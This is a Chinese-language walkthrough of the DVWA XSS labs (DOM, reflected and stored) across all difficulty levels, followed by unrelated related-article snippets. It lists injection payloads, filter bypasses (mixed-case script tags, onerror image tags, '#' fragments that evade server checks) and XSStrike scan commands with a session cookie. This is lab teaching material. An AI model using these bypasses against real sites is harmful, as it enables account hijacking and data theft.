dvwa:xss全系列全难度解析

embedded/2024/10/16 2:15:17/
引号内注入:
<select name="default"><option value="English">English</option>^^^^^^^<option value="" disabled="disabled">----</option><option value='English'>English</option><option value='French'>French</option>...
</select>
​
引号外注入:
<select name="default"><option value="English">English</option>^^^^^^^<option value="" disabled="disabled">----</option><option value='English'>English</option><option value='French'>French</option>...
</select>

xss-dom

low
引号内注入:"> <script>alert(1)</script>
引号外注入:<script>alert(1)</script>
medium
过滤了$_GET['default']过滤了<script
引号内注入:
#"> <script>alert(1)</script>
​
此时的url为:/dvwa/vulnerabilities/xss_d/?default=#">%20<script>alert(1)</script>
后端$_GET['default']获取的值为空,而前端获取的default参数为#">%20<script>alert(1)</script>
这是因为$_GET['default']会自动选择#前的内容,而前端是通过js代码经过url字符截断获取的参数
​
引号外注入:
</select><img src = 1 onerror = alert(1)>   // 注:img标签必须出现在select标签之外
​
tips:
1.<select></select>标签内部出现img图片标签将不做任何解析,也就是说<img src = 1 onerror = alert(1)>不能出现在<select>内部,否则浏览器直接忽略<select>内的img标签
2.<option>标签不会对onmousemove或onclick等函数进行解析,所以此情况下引号内注入οnmοusemοve='alert(1)'将没有任何用处,如:
<option value="" οnclick='alert(1)'>此情况onclick无论如何都触发不了,可能option标签天生就不支持这样的功能,而select
<select value="" οnclick='alert(1)'>此情况可以触发onclick,所以select支持这种功能
high
对$_GET['default']进行限制,其只能是"French"、"English"、"German"、"Spanish"这几个字符
​
还是之前说的前端输出的数据,跟后端判断的数据不统一,例如输入default=French#blablabla
后端获取为:French
前端输出为:French#blablabla
​
引号内注入:
French#"> <script>alert(1)</script>
引号外注入:
English#</select><img src = 1 onerror = alert(1)>

impossible

前端没有调用decodeURL函数导致输出的内容是url编码的字符串
源码功能解析
用户发送get请求:http://www.oswe.com/dvwa/vulnerabilities/xss_d/?default=English
​
后端通过$_GET['default']获取get请求值
而前端通过js代码字符串截断url获取get请求值
也就是说前后端获取的get请求值不是同一个来源,不是同一个变量,是不统一的,
​
当default=English#blablabla 时
后端获取的值:English#
前端获取的值:English#blablabla
也就是说后端判断的值没有携带#后面内容,这是$_GET['']变量的特性
而前端是通过url字符串截断获取的English#blablabla

xss-reflected

  • 只有引号外闭合

low
<script>alert(1)</script>
medium
替换'<script>'为空
​
<ScRipt>alert(1)</script>
<img src=1 οnerrοr='alert(1)'>
high
script被过滤
​
<img src=1 οnerrοr='alert(1)'>
impossible
$name = htmlspecialchars( $_GET[ 'name' ] ); 
实体化输出

xss-stored

low
Message:
<script>alert(1)</script>
medium
message前端内容被实体化
name替换'<script>'为空
​
html修改一下name的input容量
name:
<sCRiPt>alert(1)</script>
high
message前端内容被实体化
name下script被过滤
​
html修改一下name的input容量
name:
<img src=1 οnerrοr='alert(1)'>
impossible
$message = htmlspecialchars( $message ); 
$name = htmlspecialchars( $name ); 
前端内容实体化,不被浏览器解析

xss工具:xsstrike

能扫xss-reflected的low、medium、high难度
其他系列都扫不出来
​
python xsstrike.py -u "http://www.oswe.com/dvwa/vulnerabilities/xss_r/?name=1#" --headers "Cookie: PHPSESSID=fvka8d269vd8t386ir30utsorl; security=low" --proxy
​
python xsstrike.py -u "http://www.oswe.com/dvwa/vulnerabilities/xss_r/?name=1#" --headers "Cookie: PHPSESSID=fvka8d269vd8t386ir30utsorl; security=medium" --proxy
​
python xsstrike.py -u "http://www.oswe.com/dvwa/vulnerabilities/xss_r/?name=1#" --headers "Cookie: PHPSESSID=fvka8d269vd8t386ir30utsorl; security=high" --proxy
​
此工具如果想要使用代理,执行以下操作:
1.export HTTP_PROXY=http:127.0.0.1:8080/                    # 指定代理地址
2.--proxy参数开启代理

http://www.ppmy.cn/embedded/128192.html

相关文章

Centos7的VNC用户管理

文章目录 1. 准备工作1.1 安装图形化界面1.2 安装Tigervnc 2. 新建用户vnc端口&#xff08;包括root用户&#xff09;2.1 新建系统用户2.2 创建并修改配置文件2.3 加载vnc程序2.4 防火墙设置2.5 开启新端口2.6 远程控制 3. 问题3.1 问题1——端口占用3.2 问题2——更换分辨率 参…

nginx常用功能,网站、反向代理、四层代理、优化方法、python动态页面解析。

nginx的常用功能&#xff1a; 一、网站功能 nginx配置文件的语法&#xff1a; 指令 参数 分号结尾 1. 用户认证 auth_basic "xxx" ; auth_basic_user-file "/path/for/pass" ; htpasswd -c /path/for/pass username1 htpasswd /path/for/pass username2 2…

全面掌握 Linux 服务管理:从入门到精通

全面掌握 Linux 服务管理&#xff1a;从入门到精通 引言 在 Linux 系统中&#xff0c;服务管理是系统管理员和开发者的基本技能之一。无论是启动、停止、重启还是查看服务状态&#xff0c;systemctl 命令都能让你轻松完成这些操作。今天&#xff0c;我们将深入探讨如何使用 sy…

国产 HDMI 发送芯片,兼容 HDMI1.4b 及 HDMI 1.4b 下的视频 3D 传输格式。

最高分辨率高达 4K30Hz&#xff0c;最高采样率达到 300MHz.支持 YUV 和 RGB 之间的色彩空间转 换&#xff0c;数字接口支持 YUV 以及 RGB 格式输入的 IIS 接口以及 S/PDIF 接口支持高清音频的 传输&#xff0c;其中 S/PDIF 接口既可以兼容IEC61937 标准下的压缩音频传输&#x…

如何实现弹出式窗口

文章目录 1 概念介绍2 使用方法3 示例代码我们在上一章回中介绍了Sliver综合示例相关的内容,本章回中将介绍PopupMenuButton组件.闲话休提,让我们一起Talk Flutter吧。 1 概念介绍 我们在本章回中介绍的PopupMenuButton组件位于AppBar右侧,通常显示三个圆点图标,点击该图标…

kibana 删除es指定数据,不是删除索引

1 查询条件查询出满足条件的数据 GET /order_header_idx_202410/_search {"from":0,"size":10,"query":{"bool":{"filter":[{"term":{"oh_tenantId":{"value":"0211000001",&…

NFTScan | 10.07~10.13 NFT 市场热点汇总

欢迎来到由 NFT 基础设施 NFTScan 出品的 NFT 生态热点事件每周汇总。 周期&#xff1a;2024.10.07~ 2024.10.13 NFT Hot News ​01/ 数据&#xff1a;9 月份加密市场大多数指标均出现下降&#xff0c;链上总交易量下降 13% 10 月 7 日&#xff0c;据 The Block 研究总监 la…

Flask框架下使用SQLAlchemy搭建用户类User来操纵数据库

在面向对象的编程语言&#xff08;如 Python、Java、C# 等&#xff09;中&#xff0c;使用类来表示用户信息是很常见的做法。例如&#xff0c;在 Python 的 Flask 或 Django 框架中&#xff0c;可以使用类来定义用户模型。而使用用户类在数据库中维护一个用户数据模型&#xff…